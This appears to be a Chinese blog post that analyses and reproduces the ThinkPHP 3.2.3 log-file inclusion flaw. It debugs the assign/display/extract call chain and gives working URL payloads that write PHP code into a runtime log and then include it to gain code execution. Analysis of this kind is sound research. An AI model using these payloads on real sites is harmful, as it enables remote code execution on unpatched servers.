thinkphp3.2.3日志包含分析

本文深入剖析了ThinkPHP3.2.3中的日志文件包含漏洞,从入口点修改、调用流程图、调试分析、POC实战等方面进行详细讲解。作者通过调试发现,由于assign函数的使用导致了数组嵌套,从而引发安全问题。通过调整参数,成功触发文件包含,利用日志文件执行任意命令。调试模式下,日志文件生成位置有所不同,影响漏洞利用。文章提供了payload示例,并附带相关漏洞通报和复现链接。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

thinkphp3.2.3日志包含分析

入口点修改

入口点在\Application\Home\Controller\IndexController.class.php

image-20220528223754541

我们将这个初始的index代码进行修改,这里的第6行,如果不是这样的话,会有一点问题,这个之后会详细分析

我刚开始的调试过程中,第6行为 $this->assign('value',$value);,这个会导致一个问题,之后会分析

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($value=''){
        $this->assign($value);
        $this->display();
    }
}

调用流程图

在这里插入图片描述

调试分析

assign

首先查看assign的过程

image-20220614223825071

在第122行,调用了assign函数

image-20220614223905117

ThinkPHP\Library\Think\View.class.php中定义的assign()

image-20220614223951932

到这里就会发现一个问题,这里会创建一个tVar[‘name’]=$value,而这个name的值就是value,就是之后一切数组嵌套的原因,这是因为我的最开始的\Application\Home\Controller\IndexController.class.php中写的有问题

image-20220614224401367

我们将assign的第一个参数删除,那么在assign()函数中,就会满足if条件,进行第38行

image-20220614224534074

然后执行display的时候,tVar中才是一个键值对,而不是value中又有一个键值对

image-20220614224624967

display

从最开始的display开始

image-20220614201034141

然后在ThinkPHP\Library\Think\View.class.php的第125行,进行赋值,将tVar传值给了$params

image-20220614201221624

ThinkPHP\Library\Think\Hook.class.php的listen函数中,第89行,将$params传入exec函数

image-20220614201434000

然后ThinkPHP\Library\Think\Hook.class.php的exec中,第119行,将params传入run函数

image-20220614201528362

ThinkPHP\Library\Behavior\ParseTemplateBehavior.class.php的run函数这里,data其实就是params,然后将data[‘var’]传入fetch函数

image-20220614201624035

ThinkPHP\Library\Think\Template.class.php中,第75行,将上面的传入的data[‘var’]赋值为this->tVar,然后77行,将this->tVar传入load函数

image-20220614201840121

ThinkPHP\Library\Think\Storage\Driver\File.class.php中第77行进行判断,然后再78行进行extract赋值,但是因为是嵌套数组,所以其实是整了个value数组,但是value没定义,如左边的变量

image-20220614202003642

所以其实这个display(),就是整一个params,然后一路传参,然后利用最后第78行的extract赋值,覆盖_filename,进行文件包含

我的问题在于刚开始的params是个嵌套数组,多嵌套了一层,这就是问题所在!!!

所以将最开始的 $this->assign('value',$value);删除第一个参数即可

poc分析

m参数指定文件夹,c参数指定控制器,a参数指定方法,value参数就是我们的可控参数

首先传参m

index.php?m=--><?=phpinfo();?>

在这里插入图片描述

然后在Application\Runtime\Logs\Common\22_06_14.log中有记录

image-20220614192111827

得到日志文件的路径,然后文件包含执行任意命令

index.php?m=Home&c=Index&a=index&value[_filename]=.\Application\Runtime\Logs\Common\22_06_14.log

关于日志文件生成

日志文件有两类,日志以天为单位进行记录

Application\Runtime\Logs\Common\22_06_14.log
Application\Runtime\Logs\Home\22_06_14.log

在这里插入图片描述

当调试模式开启

在这里插入图片描述
不报错的情况下,在Application\Runtime\Logs\Home\中生成日志
在这里插入图片描述
报错的情况下,在Application\Runtime\Logs\Common中生成日志

在这里插入图片描述

当调试模式关闭

在这里插入图片描述
不报错的情况下,不生成日志

报错的情况下,在Application\Runtime\Logs\Common中生成日志

在这里插入图片描述

关于payload

index.php?m=Home&c=Index&a=index&value[_filename]=.\Application\Runtime\Logs\Common\22_06_14.log

三个参数分别是模块,控制器,操作

这里m参数指定文件夹,c参数指定控制器,a参数指定方法,value参数就是我们的可控参数

thinkphp采用单一入口模式访问应用,对应用的所有请求都定向到应用的入口文件,系统会从URL参数中解析当前请求的模块、控制器和操作,下面是一个标准的URL访问格式:

第一种访问方式
http://localhost:/thinkphp/index.php/Home/Index/index  入口文件/模块/控制器/操作
第二种访问方式(传参数)
http://localhost:/thinkphp/index.php?m=Home&c=Index&a=index  传三个参数

参考链接

  1. thinkphp3.2.3 日志文件包含分析 - ProcessOn
  2. 【漏洞通报】ThinkPHP3.2.x RCE漏洞通报 - 云+社区 - 腾讯云 (tencent.com)
  3. ThinkPHP3.2.x RCE复现 | 0xCreed (jxustctf.top)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值